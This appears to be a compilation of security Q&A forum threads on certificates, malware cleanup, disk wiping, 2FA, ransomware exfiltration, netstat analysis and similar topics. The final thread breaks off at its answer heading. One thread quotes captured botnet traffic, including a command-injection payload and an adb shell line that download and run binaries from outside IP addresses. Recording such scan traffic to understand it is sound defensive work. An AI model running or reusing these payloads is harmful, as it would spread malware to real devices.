Security Structure of an API I've been developing a web application and APIs for 8 months. I implemented OAuth 2.0 client credentials for authentication. And now I have to implement TLS to my APIs.
I've been dealing with SSL/TLS security implementations for days. I couldn't anything. Still, I'm at the start and started to feel the despair.

I can be wrong, but I thought, I can issue certificates on my web page to my users. And users can use those when they are trying to use my API for SSL-Client Authentication. (like Paypal) There are a lot of things that are must known. So I need help.

Q: I'd like to know is there any missing item on my list ? What else should I do ?
 Q: Would it be possible there is an alternate way to provide secure for my API ?

        Summary of my to-do list;

Create a CA key and cert using OpenSSL
Create server key and cert using OpenSSL
Put a "new cert." button on my web page and code
If a user clicks the button then;

a. generate a downloadable client certificate using PKIjs-x509

b. a copy of the certificate is saved on a clients folder on the server
Create and manage a Certificate Revocation List to CA using using PKIjs-CRL
Put a "remove cert." button on the web page and code
If a user clicks the button then;

a. add related certificate to CRL
If a user leave from system then add related certificate to CRL

I think number 4, 5 and 6 (CRL operations) are redundant. I need a secure connection between client and server. Every different client certificate creates a different secure channel to the server. So, if a malicious man uses a certificate he can access only my authorization server, securely. Therefore these items seem not important in my case. Are they?

I use Node.js and javascript.
I found some useful javascript libraries like PKIjs, forge.js and pem .

I've given a call to one of the global CA companies for their PKI service. They gave me $30 per client and I cannot use their CRL as programmaticaly on my application. This is impossible for me. So I've been trying to solve by myself.

Keywords to remember some things;
( EJBCA, x.509, PKI, Key-Exchange, S/MIME, OpenSSL, RSA, ASN.1, PCKS, Fingerprint )

I found a solution as I was looking for;

http://blog.engelke.com/2015/03/03/creating-x-509-certificates-with-web-crypto-and-pkijs/

But I'll try pem modulus at first. Because it works on back-end and seems more simple.


Certificate owner information Let's check this executable...

  This digital signature is OK.

Ok fine.

  Name: Cocoa Nuts Unicorns Ltd

Uhm that does not tell me anything.

So, I have a valid signature and a valid certificate. How do I know more about the owner than just the displayed name? I tried going to issuer's site with no luck, lots of links to how to buy a certificate but no information about cert owners. This applies to TLS certs too.

Certificates do not by definition proof who is behind it. If you trust that 'source' is entirely up to you. This is why most 'secure' connections made with certificates are for confidentiality and integrity, but you still don't know who you are talking to. CAs do have rules that tell the certificate owners not to share the private key, but in practice that is very hard to check.

You can also go up the chain and say 'I don't know Coca Nuts Unicorns Ltd, but I do know the authority higher up the chain, Verisign for example.' If verisign is ok with it, maybe so are you? This is a slippery slope though, because CAs will hand you a certificate as long as you give them some money, some account info and a email address. You just can't be sure of who is behind that certificate.

There is a concept with certificates, extended validation, which does help you out there. The basics of that concept are that the owner had to get validated by the certificate authority.

  An Extended Validation Certificate (EV) is a certificate used for HTTPS websites and software that proves the legal entity controlling the web site or software package. Obtaining an EV certificate requires verification of the requesting entity's identity by a certificate authority (CA). Web browsers show the verified legal identity prominently in their user interface, either before, or instead of, the domain name. During software installation, the verified legal identity is displayed to the user by the operating system (e.g., Microsoft Windows) before proceeding with the installation.

See: https://en.wikipedia.org/wiki/Extended_Validation_Certificate


How can a connection be secure, if somebody observes it from the beginning? If somebody observes a connention between client, and the server, then he can see the keys, by the following data encrypted is.

As far as I know, if I connect to a server, then it sends me some keys, and later the communication will be encoded by this key. But I dont understand, how is it possible, to make it secure from the beginning? When the client and the server initialize the connection, and choose an encryption method, then the observer can get the security keys.

A connection can be secure using asymmetric cryptography, even if somebody observes it from the beginning.

Why?

Asymmetric cryptography is a class of cryptographic algorithms which requires two separate keys, one of which is secret and one of which is public.

The public key is used to encrypt plaintext or to verify a digital signature; whereas the private key is used to decrypt ciphertext or to create a digital signature. The term "asymmetric" stems from the use of different keys to perform these opposite functions, each the inverse of the other – as contrasted with conventional ("symmetric") cryptography which relies on the same key to perform both.

So if the attacker steals the public key, he would not be able to decrypt the ciphertext, because he does not have the private key, which no one else should have access to.

As pointed by @Ullrich, you can find more useful informations on How does SSL/TLS work?.

Other nice article: How is it possible that people observing an HTTPS connection being established wouldn't know how to decrypt it?


Best practices for handling computer viruses I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware.

In a small-to-medium business (heck, even large businesses like the New York Times), acquiring malware seems like an inevitability. Despite putting checks and balances in-place (updated workstations with security patches/java/flash, up-to-date anti-virus software, spam filters, etc.), viruses still penetrate through the cracks and some are able to execute.

My question is not so much about the prevention of viruses, but rather what you do with that workstation after it's been discovered that it has been compromised. Obviously we'd all feel more comfortable with the old NIFO stance, however many of us are strapped for resources and don't have time to always be re-imaging machines — especially if the bugs show only with "on-demand scans" and don't appear to have executed.

I'm curious as to what others in my situation are doing once a machine is found to be compromised. Is a "revert to old restore point and on-demand scan in safe mode" enough, or do you guys always re-image a machine?

Nuke it from orbit.  The only way to be sure it is gone once it is compromised is to blow it away entirely.  Restore checkpoints only help for configuration issues, a virus can alter the previous configurations or install itself in such a way it survives a restore.  If it's just adware, then removal may be sufficient, but viruses can be very sneaky.

It might be possible to get rid of it completely, but it will take more time (days) than nuking and rebuilding in most cases, particularly if regular backups are kept.

Edit: As Oleg was kind enough to point out.  If your re-imaging from a hidden partition on the computer, it is possible that the image could have also been infected.  It's also possible that the BIOS (or other firmware in hardware) could have been infected in very rare cases, in which case you are looking at a major pita to get rid of it.  Luckily 99.99%(my approximation) of the time, it isn't hardware resident yet.


How can i deal with management who want 'Domain Admin' access? While I primarily work with penetration testing for my company (A small/medium sized company with approx 50 employees), I'm also a part time member of their sys-admins team (it's handy to keep up-to date with server environments/networks etc). There is one manager in a remote office who "knows what is best" and always "wants to get things done now". The MD has given him approval to have a domain admin account but I'm not sure they realise what the implication of that is.

The manager is not particularly technical and has a fairly rudimentary understanding of IT. Nonetheless, we find him making changes to our environment (resetting passwords, installing new software/applications/servers) and dictating directions (choosing hardware etc) for us.
I'm pretty tired of it, and I'd like to present a list of compelling reasons why this shouldn't be allowed.

Primarily we are a security company so as a result, I'd like to focus on the security side of things (that's where my expertise lays so it carries the most weight if I speak to the 'higher ups') but any business reasons would be good to have as well.

Edit:

Okay. So maybe I'm a bit unique in that I personally care if something goes wrong in our environment. I'm personally quite fond of the work I do and the company I work for. But since we are a fairly small company, most people are somewhat involved. If something goes wrong I'm covered, but there will still be fall-out of some kind which would impact the business.

Firstly I would answer the question "Is it within my remit to be worried by this". Presumably the sys-admins have a team lead or line manager, and it is their responsibility, not yours. You may be letting emotions cloud judgement a bit.

A good place to start if you want to get involved regardless is to propose some level of change control. Putting all changes to your environment through a change process would at least force the errant manager to justify his changes and decisions.


Intensive 586 (ms-shuttle) port scan/exploit/hacking attempts Recently i wanted to play a bit with TCP/UDP networking (and touch some custom HTTP server impl) on C# and found out that i'm getting requests from totally unknown dudes, such as this one:
   FROM: [::ffff:149.129.139.48]:52306
   [ANS]
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: B4ckdoor-owned-you
Content-Length: 222
Content-Type: application/x-www-form-urlencoded

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://107.174.133.119/bins/keksec.arm7;chmod+777+keksec.arm7;./keksec.arm7;rm+-rf+keksec.arm7%3b%23&remoteSubmit=Save

Then, i decided to go further and made a mass port-trap from 90 to 10000 and i found that the most intensive one is the 568 port which stands as ms-shuttle/smb port. Here's some samples:

[25.11.2020 21:53:46]
   FROM: [::ffff:181.188.133.9]:55852
   [ANS]
| UTF8:
 &�     Cookie: mstshash=hello

--------------------
[25.11.2020 21:53:33]
   FROM: [::ffff:185.176.222.39]:64787 // <= this dude was spamming me for like 2-4 hrs
   [ANS]
| UTF8:
 *�     Cookie: mstshash=Administr

--------------------
[25.11.2020 16:07:01]
   FROM: [::ffff:118.233.192.126]:48964
   [ANS]
| UTF8:
 X      �  �  ����shell:>/data/local/tmp/.x && cd /data/local/tmp; >/sdcard/0/Downloads/.x && cd /sdcard/0/Downloads; >/storage/emulated/0/Downloads && cd /storage/emulated/0/Downloads; rm -rf wget bwget bcurl curl; wget http://5.252.194.137/wget; sh wget; busybox wget http://5.252.194.137/bwget; sh bwget; busybox curl http://5.252.194.137/bcurl > bcurl; sh bcurl; curl http://5.252.194.137/curl > curl; sh curl

I tried to search some info about this port + knock-knocks on it, but didn't succeeded.
My log file size now exceeds 2 Mb so i wonder, why this is happening? Why this port is so actively being bombed? And, probably, what should i do to prevent receiving those requests?

What you are seeing is mostly botnet traffic where infected routers or other devices are scanning all of the internet in an attempt to infect new devices or re-infect ones that have been cleaned up or hijacked by another crew. Sometimes this is done by exploiting specific vulnerabilities such as the /cgi-bin/ViewLog.asp one you posted, and others spread by brute forcing default credentials. This is totally normal and is just part of the internet white noise. It is also the reason why patching your software and automatic updates are important.
You can use a firewall to block incoming traffic to these ports if you're not using them, but if nothing is listening on the ports then it doesn't really have any impact unless its an exploit for the TCP/IP stack f.ex. that you are vulnerable to.


Recovering Data from a 1-Pass Zero'd Hard Disk Drive I don't want to do this, but I'm wondering how easy it is to do? Or to put it another way, I'm wondering "is a 1-pass zero of a drive enough?"

From what I understand, it's completely wiped from anyone that would try to recover data by connecting the drive to a device, NOT opening it. Is this accurate?

What about "government level" data recovery? What I've read suggests that under some circumstances, if you have the right kind of scanner, you can infer the previous state of a bit based on how "1" and how "0" it currently is. While that does make sense, it seems very unlikely that you could string enough of them together to get a useful block of data. And these blocks are scattered all over the drive. And you don't know if you are scanning "real" data, or old data that was previously erased long before the zero. Is there really a way you can get anything more than random data from a zero'd drive?

Also, what if it's not a zero pass, what if it's a 1-pass random data write?

To me, it does not seem realistic to every be able to get any useful data from a drive like this. That said, I usually do a 3 pass zero anyway :)

To clarify, I'm referring only to traditional spinning magnetic media hard disk drives. I'm not talking about SSDs, magnetic tape, or any other exotic storage devices. Just hard drives.

There are many tales suggesting otherwise, but all of those refer to decades old obsolete technology. The net result is that a single pass write of zero, or anything else, is sufficeient to preclude  useful recovery.

Stories or theories involving magnetic force microscopes, etc., simply don't work for Terrabyte level drives. Millions of dollars of laboratory effort might recover a handful of bytes, but as a level of reference, no forensic group is going to do anything with it.

Now there is a separate question as to whether everything was zero'd (protected areas, or bad sectors), but anything written once is effectively gone.


How does the authentication in the new UK £1 coin work? The UK is getting a new £1 coin.  Its designers, the Royal Mint, claim that unlike current coins, it includes built in technology for high speed authentication and verification everywhere from ATMs to vending machines and point-of-sale.

How does this work?  Something like RFID?  Does this mean the coins (and therefore their users) can be tracked?

They are using a system called ISIS which also has some more details available here.  It appears to be a form of micro-tagging embedded within the currency itself (based on the comment the same technology has been used in fuels and perfumes).

Basically, a specially manufactured particle is constructed and then mixed as an additive with the coin.  This additive can later be detected automatically.  Since the composition of the additive is unknown, it can't be reproduced easily but yet machines can read the signature of it.

The tagging technology can be used to tag specific coins (this is done for some high end unique items that are tagged), but it would generally be very expensive to do so.  It is far more likely that a standard formulation is used for all coins of a given value.  It would also still very likely require that the coin be directly handled to read as it is not a radio based technology.


How can 2FA be bypassed if I set a number which is unknown to everybody? I'm asking about the risks one may face for setting 2FA using their own phone  number as second step of a 2FA, in scenarios such as, for example, logging in a bank account page with 2FA that provides only that type of protection. In the latter, if I use a secondary phone number that I don't use and that I keep secret, unknown to anybody, how can I be possibly defrauded in that way, since nobody can leak authentication codes given the secrecy of the previously mentioned number?

P.S obviously I'm just stressing safety concerns, don't think that I'm a potential thief or something.

As long as you use a different secret phone number for each site the risk is probably low since only you and the site know the phone number. But both might leak it anyway: the past has shown that even if a site claims that it uses the phone number only for 2FA it might actually use it for different purposes and might share it with others.

If you have more sites you would need a different phone number for each site though because otherwise the risk of leaking the secret number will greatly increase. Obviously this does not scale since the phone system and the phones are not designed for this.


Can my employer see my browsing history from my home? I have a personal phone which I use at work, and connect to the WiFi at work. I also brought my personal laptop to work a couple times and connected to the WiFi.

My question is can my employer see my browsing history from when I was connected to my WiFi at home?

If you are using the company WiFi on your own devices and the employer has no direct control over these devices (i.e. no special software installed, not company managed) then your employer can not directly access your browsing history.

But it might be possible to infer some information from what your phone or laptop currently does. For example you might still have web sites active which you've opened at home and which continue to communicate in the background. Also your employer might get indirect access to information which advertisement and tracking sites collected about you while you visited sites at home by placing ads targeted to a specific user profile and origin (i.e. the company network) and checking if the ad was served to you. This is possible even if the sites are visited by HTTPS and even more information might be available for sites visited only with plain HTTP.

Note that this kind of indirect analysis is not trivial though. So it is unlikely that your employer will do it unless they are suspicious about your behavior and want to look closer at what you do.


Are IBM PowerPC CPUs free of the AMT issue seen with AMD and Intel? Given the privacy and security risks associated with Intel's Management Engine and AMD's Platform Security Processor, are IBM PowerPC processors such as the POWER9 susceptible to similar hardware-level attacks?

No, Power9 does not have a function similar to the Intel ME and AMD PSP built in to the processor.  (Or, at least, no such function is documented.)  It was even chosen as the processor of choice for a security-focused platform.


Why does Google SSL cert change so frequently? For the last few months I have been using the Firefox addon Certificate Patrol to watch for changes to sites' SSL certs - so as to know if I am being MTIMed, against which SSL otherwise provides no protection.

However, almost every time I visit either Google or any site which uses Google Analytics or Google's CDN for scripts, I get a warning about Google's SSL cert, and Certificate Authority, having changed. (I occasionally get this on other sites such as Facebook, but not so often.)

Why does their cert change so often? It's not every time, but it's certainly many times a day.What purpose does it serve? It obviously makes it impossible to detect a MTIM, which is a pretty big disadvantage...

The answer is likely that they simply have different certificates on different servers on their network, and you get routed to a different one every so often.

This is a common practice to simplify deployment and increase security - they then don't have to make a copy of the same certificate to every machine and load balancer in their (global) network. When you're at Google's scale, this is a good thing. Every copy of a certificate increases risk of compromise, but if a compromised certificate is only used on one, two or a handful of servers they can just revoke it and move on.

It is also why they have their own (intermediate) CA, so that they can issue themselves new certificates as necessary.

See also Facebook doing the same thing.


Is cryptography possible without volatile memory? AFAIK, our current disk encryption methods (dm-crypt) preserve the key (as well as decrypted data) in RAM while the computer is running with an implicit assumption that the memory is volatile and key will be lost along with decrypted data when computer is shut down.

However, future advancements in technology may make volatile memory obsolete. Given operating-systems adapt to work without RAM in future, what are the ways to achieve disk decryption without volatile memory? Is it possible, or will we always need volatile memory for cryptography?

[UPDATE]

After thinking about this, I conclude that there are inherent properties in cryptography that necessitate the presence of a temporary insecure location. I don't think it is even theoretically possible to have algorithms that need to access the key once and be done with it without storing it in an insecure location. And that volatile insecure location also acts like a kill-switch.

(*insecure = not encrypted).

It's possible that at some point in the future we might have a dedicated volatile memory designed for storing encryption keys, much like we use TPMs for long-term storage of keys.  Perhaps a portion of the TPM could be memory mapped by the kernel and used for ephemeral key storage.  This might even give rise to devices designed to resist cold boot attacks, going beyond the security offered by current FDE schemes.  We haven't seen these things yet because volatile ram is "good enough", but in a world where flash has the speed of RAM (and thus the merger of persistent and ephemeral storage) the dedicated key storage may become a necessity.


Penetration testing by ethical Hackers/Crackers should be trusted? My question today come from my homework question from class ethics in IT.

Our question states roughly that I'm IT guy in in big company and I am asked to hire few hackers to to find vulnerabilities in the system. Hackers would take a role in finding out what's wrong with security and alarm company what need to patched. But, I find myself uneasy on criminal record of such hackers. What should I do, and what are ethical issue about this problem.

Well, my thoughts about it at first is to say no. There are many companies which could do same thing as hackers could do. Security companies would be more expensive, but hacker have their own knowledge on underground hacking.

The problem with (some) hackers is that their record even though it points that they been using their knowledge to do unethical things but can't be overlooked because what they can do for companies. Checking on their background is a must. Also checking on their achievements in security training should be done also, and find out how much they learned and if they could be trusted.

In my opinion its all about the trust in the hacker, who unknowingly could install a back door in the company.

Well that's roughly my thoughts. So should hackers/crackers be hired for penetration testing? Or it is too much of a risk, and companies well known for security testing should be hired instead?

There are a few drawbacks to hiring a blackhat "hacker" instead of a security company.

They are harder to trust

Apart from backdooring your system, I would not trust a blackhat I pick off the street to keep his findings about my network confidential. Hackers like to boast to their peers. The knowledge they obtain about your security can bite you in the ass in more than one way.

They are adrenaline junkies

OK, that's a bit strong. But a hacker who is just in it for the fun and not for the money, will focus on what he finds fun. I have worked with both professional penetration testers and "recreational hackers", and the latter kind performs a different kind of test. If you find yourself a good hacker, he may have more knowledge than the professional penetration tester, but he will not deliver the same quality report. He will find a fun way to enter your network and exploit that fully, while the penetration tester will see if there are multiple ways in, will weigh the issues he finds against the actual risk, and can give you a less black-and-white advice about how to solve the issues.

They are harder to do business with

Think in terms of planning, deadlines, availability for status updates et cetera.

So, if you find yourself the perfect gentleman hacker with knowledge of the underground, who will keep your findings confidential, propose realistic solutions, and do the test from the perspective of what is useful to you instead of just what is fun for him, then you have a winner. Good luck finding him :-)

By the way, if you already have a security company you hire for regular penetration tests and such (which imho a big company should have), then hiring some hackers for an ``extra'' test to see if the company misses anything, can be a great move. The confidentiality issue stays though...


Are there any academic papers/books about hacking wargames? I'm looking for sources (academic papers, books, articles from notable magazines) that can be used as reference for a Bachelor's Thesis, that should be about making an educational, gamified hacking wargame, to be used in Ethical Hacking courses at the university.

Since it's a Bachelor's Thesis, there is a certain level of source quality requirement needed for a source to be considered a valid Reference for the thesis, and given the nature of wargames and hacking culture, it's not easy to find.

So, does anyone know about any good reference that I can use in a Bachelor's Thesis that is about wargames? Something more focused on the creation of said wargame. I don't supose there will be many, since random blog posts don't qualify, and I would be super glad about any kind of response.

Thank you.

Yes, there are plenty of academic papers on the topic.
Just use the right keywords. The term wargame isn't as common for these competitions. But you'll find quite a few results combining the terms CTF and security, e.g. on Google Scholar.
Here are some examples:

Learning Cyber Security Through Gamification:

Objectives: Introducing gaming approach in the jeopardy round of InCTF (Indian Capture the Flag). Methods: Present Jeopardy round of InCTF can be compared as take-away assignments, where participants are given set of questions to solve, this is aimed at testing their knowledge in various computer security concepts. To make jeopardy round more attractive and motivating to the students we introduce a gaming approach to it. A game is developed which is divided into various levels and at each level the knowledge of students in Cyber security concepts is tested. Our design will help others to host jeopardy round CTF and get maximum learning outcome from the students. Findings: Security competition like CTF (Capture the Flag) are effective tool in providing computer security training. Conclusion: Gaming approach in Cyber security education will be a big step forward in training more students in computer security and create a secure online world.

Computer Security Competitions: Expanding Educational Outcomes:

Security competitions can be a lot of fun, and preparing for them often exposes participants to skills they might not otherwise have encountered. Yet, participating in such competitions doesn't necessarily provide a road map for future success. By offering enough feedback, organizers could turn competitions into valuable training opportunities, rather than simply opportunities for participants to self-assess their skills.

Hacking Competitions and Their Untapped Potential for Security Education

There are also papers that focus specifically on the competition design, e.g.:

The Design and Lessons of the ASCENT Security
Teaching Lab

A security laboratory for CTF scenarios and teaching IDS


How does releasing exfiltrated data increase the chances of an attacker getting caught? I'm reading an article from the Institute for Applied Network Security (IANS) titled "Ransomware 2.0: What It Is and What To Do About It", and there's a piece I don't understand. The article requires a subscription, but here's the excerpt (emphasis mine):

[Attackers] typically threaten to release confidential data to the internet or dark web if the
victim refuses to pay. This extortion tactic is fairly new and it is unclear whether it will become
more prevalent. If it does, it is uncertain whether attackers will release the data they’ve exfiltrated (and even how much data they’ve exfiltrated in the first place). Obviously, the more data an attacker exfiltrates, the higher they raise their profile and the more likely they are to be caught
before the encryption phase. Therefore, unlike attackers motivated by IP theft, Ransomware 2.0
attackers have an incentive to minimize their data exfiltration.

Why would attackers not follow through with the threat of releasing this data? Does exfiltrating more data give forensic scientists, network admins, and the like better insight into the anomalous and malicious behavior--and shouldn't attackers sufficiently cover their tracks? If not, how is the attacker profile increased with the volume of exfiltrated data published?

tl/dr: Data exfiltration here means the process of copying data from the victim to the attacker, which generates a lot of network
traffic and may therefore be noticed before the encryption/attack is
finished.  Moreover, publishing stolen data is not quite as simple as
it seems, because it is most effective when done "publicly", and in
that case legal channels may be used to stop an attacker from doing it
effectively.

It's easy to misunderstand what is meant by "data exfiltration" here.  So to be clear, when this article talks about data exfiltration they aren't talking about releasing data publicly.  Rather, they are talking about the simple act of copying data off of the infected systems and onto a system controlled by the attacker.  Consider a typical "lifecycle" of a ransomware infection:
Standard Ransomware

Ransomware is downloaded/executed somehow
Ransomware begins encrypting files locally
Ransomware (theoretically) sends encryption keys back to C&C servers so the files can be unecrypted after payment

All-in-all this is a pretty "low profile" attack, and antivirus and other anti-malware solutions have adapted to try to catch such things early on before they encrypt everything.  This is typically done by noting sudden and large spikes in disk usage, which are a sign of ransomware doing its thing (and also a sign of many other typical computer tasks, which can make detection a bit tricky).  Sending the keys to a C&C server takes up effectively zero network traffic, so detecting that is virtually impossible.
Blackmail ransomware
Compare that to the lifecycle of a ransomware attack in which the attacker wants to hold data hostage to be released later:

Ransomware is downloaded/executed somehow
Ransomware begins encrypting files locally
Ransomware sends the encryption key to C&C servers
Ransomware begins sending unencrypted copies of all files to the C&C Servers

The big difference is step #4, aka data exfiltration.  The important thing here is that this is very noisy.  Now not only does the attacker have to worry about local antivirus/antimalware systems noticing the attack in progress, but they also run the risk of being detected at the network level.  For a home user that doesn't even use an antivirus program (aka an easy target), their ISP may instead notice, start blocking traffic, and perhaps try to notify the user.  In a corporate environment it is even worse: even if policies on the individual machines are lax, there may be network level logging and alerts which may notice the increase of traffic, bring it to someone's attention, and shut the whole thing down before much encryption has happened.
In essence, like any thief, ransomware will be the most successful when it has plenty of time to do its thing before getting detected.  Trying to extract the data as you encrypt it is very "loud", and increases the risk of detection for the attacker.
It's like the difference between someone silently trying to steal the TV from your living room while everyone is asleep, versus someone who lights the kitchen on fire so they can steal the phones and laptops out of the bedrooms.
Publishing data
You also asked, in essence, why someone who has stolen data wouldn't publish it if their ransom isn't paid?  That's tricky.  Of course an attacker may very well do exactly that.  However it isn't always that simple.  There are a number of complicating factors:

Due to the above, they may have chosen to limit the amount of data they stole, and therefore may know that they don't have anything worth publishing.
The advantage of the classic ransomware attack is that, with the use of Bitcoin, it can be completely anonymous.  Staying anonymous gets much trickier when you have to publicly publish your victims data.
Actually publishing the data may itself be tricky to do well.  Such data would obviously be published in violation of copyright, so the victim may be able to use legal channels to have the data taken down (which has actually happened).  The attacker could publish it in the "dark" web or somewhere that is harder for legality to matter, but then it may not have the same impact to the victim's business (depending on the nature of the secrets).

All this to say that this whole "we'll publish your data if you don't pay up" situation is not quite as simple for the attacker as it seems.  That's not to say it is safe to ignore such threats, but I think it may still be a bit unclear if this new take on ransomware will have much more success than the original kind.


How to analyze the netstat log for suspicious connections? I found a question from here: http://www.activeresponse.org/20-questions-for-an-intrusion-analyst/
But not sure what its answer is. Here is the question and it asks me to find out all suspicious entries:

Proto Local Address     Foreign Address    State
 TCP  0.0.0.0:53        0.0.0.0:0          LISTENING
 TCP  0.0.0.0:135       0.0.0.0:0          LISTENING
 TCP  0.0.0.0:445       0.0.0.0:0          LISTENING
 TCP  0.0.0.0:5357      0.0.0.0:0          LISTENING
 TCP  192.168.1.4:53    91.198.117.247:443 CLOSE_WAIT
 TCP  192.168.1.4:59393 74.125.224.39:443  ESTABLISHED
 TCP  192.168.1.4:59515 208.50.77.89:80    ESTABLISHED
 TCP  192.168.1.4:59518 69.171.227.67:443  ESTABLISHED
 TCP  192.168.1.4:59522 96.16.53.227:443   ESTABLISHED
 TCP  192.168.1.4:59523 96.16.53.227:443   ESTABLISHED
 TCP  192.168.1.4:53    208.71.44.30:80    ESTABLISHED
 TCP  192.168.1.4:59538 74.125.224.98:80   ESTABLISHED
 TCP  192.168.1.4:59539 74.125.224.98:80   ESTABLISHED

So far, I figured out the first 4 entries should be no problem. Port 53(DNS), 135(rpc), 445(SMB), 5357(some windows service)
And this entry should be suspicious since DNS service connects to HTTP service

TCP  192.168.1.4:53    208.71.44.30:80    ESTABLISHED

Can anyone tell me if there is any other entry suspicious or if I miss anything important? Actually, I see there are multiple connections to the same IP address on port 80(and 443). Is it normal?

Thanks.

I would actually be suspicious of the fact it is listening on port 53, especially if it is a workstation - Why should it be running a DNS Server? It may be an indication of malicious communications attempting to disguise themselves as DNS / HTTP / HTTPS traffic given, as you mentioned, the connections from port 53 <-> 80/443.

If it were a real scenario, you may then want to poke around and see which process is listening on port 53 (By adding the "-o" option to the netstat command)

Connections to the same address on ports 80 and 443 is not necessarily unusual. For example, a website with mixed content may be serving content over both HTTP (80) and HTTPS (443).


Sending shutdown command via ssh using sudo non-interactively With iOS 12 and the new Siri Shortcuts app, I've been thinking of ways I could leverage the SSH command capability in the app. For those of you who don't know, the app allows you to send a bash file or string to stdin and returns stdout as a plain-text file, connecting using password authentication (no token authentication).

What I'd like to do is create a shortcut that executes sudo shutdown [...] on a remote server via the SSH command action. Since the action is non-interactive and non-tty I can't interactively enter the password, and I'm reluctant to put the password as plaintext in the action input string/stdin. On the other hand, I don't want to use sudo -n and NOPASSWD for the shutdown command, as that's a security risk that I don't want to deal with. I thought of perhaps requiring a random string for the shutdown message for NOPASSWD to be enabled in the sudoers file (i.e., sudo shutdown -h now would require a password, but sudo shutdown -h now japos98vh92p3hoab982hfpa would not), but I don't know if that's any more secure or even possible.

In summary, how can I securely send a shutdown command over SSH using a non-interactive, non-tty session?

There are a bunch of different questions in here, some of which are not security questions (for example "how to use sudo over a non-interactive SSH session" is really a programming / superuser question), and some of which only you can answer (what counts as "secure").

So instead of answering your question directly, I'll point out some security things to think about relating to your two proposals.

  I don't want to use sudo -n and NOPASSWD for the shutdown command, as that's a security risk that I don't want to deal with.

You may need to elaborate on what that security risk is and why you don't want to deal with it. Clearly you're OK with Siri knowing your username and password to SSH in, which, if the iOS devs were to build in a mechanism for handling sudo prompts or an attacker were to extract your username/passwd from Siri's storage, would be enough to perform any admin action on that machine.

The reason that sudo needs a password is to prevent you downloading malware in firefox, and then it turning itself into root. From the use-case you describe in your question, whether ssh user@machine 'sudo cmd' requires you to type your password once or twice doesn't make a difference from a security perspective; either the attacker knows your password, or they don't.

  sudo shutdown -h now japos98vh92p3hoab982hfpa

I don't know how you would accomplish this (but would love to learn if you can explain how in comments!). Skipping that (and any potential security holes you open in the process), I suppose this becomes a second admin password so that an attacker needs to know both your account password and this "admin password" in order to execute shutdown. This "admin password" will show up in more places: in plaintext in the Siri app, in the bash history for your user, in the process tree while it's running (try ps -u), and probably other places -- there's a reason things like sudo take passwords via stdin, not via command-line arguments.

So assuming

An attacker has gotten in to your account - either over SSH or because you downloaded malware in firefox and ran it
You have run this command before and it's in your bash history

I'm not sure there's any difference security-wise between this and setting shutdown to be NOPASSWD.


Web of trust jeopardized because servers getting hacked? I've read that a common way for servers to handle the SSL certificate is that the private key is not encrypted.

Now, a many web servers are getting hacked each day.
Assumed that the private key is stored without encryption, the attackers could get the private key for the server's SSL certificate.

Some administrators may (at some point) realize that they got hacked, and some of those may revoke their certificate.
Others may not even realize that their server and its SSL certificate got compromised.

Of course, if someone hacks a server, the attacker can manipulate the website. But this probably can get detected quite easily.

However, stealing and using the certificate including the private key is much more subtle and could be used with DNS spoofing for a man in the middle attack. Neither the user nor the server's administrator would detect any issues, but the whole traffic can be read by the attacker.

How is this handled in practice?

Do we have to assume that a server didn't get hacked to trust an SSL connection with a server?

For sites where the security is critical, the key is not a simple password. There's something called Key Input Ceremony for the creation of the key. In this event, three or more people enter part of the key, one after the other, on a special appliance called HSM (Hardware Security Module). The event is attended by legal, audit and compliance staff. It's not something the system administrators create on a file in a server somewhere.

The HSM is responsible for the encryption, and the private key cannot be extracted from it in any way. Extensive anti-tampering mechanisms are employed to detect any tampering attempt and to erase the key if any of its parameters are violated: temperature, voltage, pressure, vibration, to name a few.

In this sites, the SSL encryption is handled by the HSM. The private key is protected inside of it and nobody can extract it.

But there are cases where the private key leaked. In almost every case, the problem was a key poorly handled, or no proper key creation protocol being followed, or dev-mode keys being signed with production certificate requests, or other operational mistakes.


usync.nexage.com MS Edge Exploit? Related to this question: Is This A Hack/Malware/Breach?

Date: Noticed between 5/23-5/24/2018

OS: Windows 10

Applies to: Windows 10 version 1709 for x64-based Systems

Browser: Microsoft Edge 41.16299.402.0, Microsoft EdgeHTML 16.16299

A download pop up appears on KCRG.com (and other sites)  asking to download
mapuser?providerid=29472userid=

From: usync.nexage.com

Downloads: Two files downloaded when saved. I did it twice. Both appear empty when opened with notepad.

Size of file: 345 bytes

Issue: Download will be added to browser Downloads history. Unable to remove queued download from Downloads history. Clicking the item in the history does nothing. Closing browser gives a warning about downloads in progress.

If you interact with the pop-up dialog box you can save the files. Open button does the same as save.

It will not stay in Downloads history when browser is closed and reopened.

This issue may appear on other websites using the same advertising network.

1) Does this pose a threat?

2) Is this an MS Edge exploit?

This does not happen in Chrome or Firefox. At least on the computers I have tested.

3) Any solutions for the problem?

New 5/26/2018:  While checking Nexusmods.com per blib Edge version 42.17134.1.0 has caught and blocked content.

While checking PhotoBucket.com per Viking Knight, Edge version 42.17134.1.0 has caught and blocked Adobe Flash content.

In both cases no Download dialog box appeared and no download was added to Downloads history.

Threat: After testing, files have been found to be benign.

Threat Level: As stated this is more of an annoyance.

Cuckoo Score: (1.6 out of 10) This url shows some signs of potential malicious behavior.

http://cuckoo.cert.ee/analysis/2196788/summary

Cause: As mentioned, could be an Advertising Network code issue.

Solution: Updating to Windows 10, version 1803 solved the problem. MS Edge is built into Windows 10.

Latest Windows update as of May 2018:

This updates Edge to:


How to manually detect and remove Linux.BackDoor.FakeFile.1 from linux system through the command line? According to Dr.web there is a new linux malware called Linux.BackDoor.FakeFile.1 , it can speared throught .pdf , gedit , open-office files .. , it can execute a multiples malicious functions using the user's right ( it doesn't require root privilege ) :

  It then searches for a hidden file, whose name matches the file name of the Trojan, and replaces the executable file with it. For instance, if an ELF file of Linux.BackDoor.FakeFile.1 is named AnyName.pdf, the Trojan will search for a hidden file under the name .AnyName.pdf and then replace the original file with it by using the command mv.

Because the malware is recently (added on 2016-10-14) added to Dr.Web virus database, is that possible to verify  linux systems by detecting  and  removing the backdoor through the command line ?

To detect the backdoor through the command line in user's home directory:

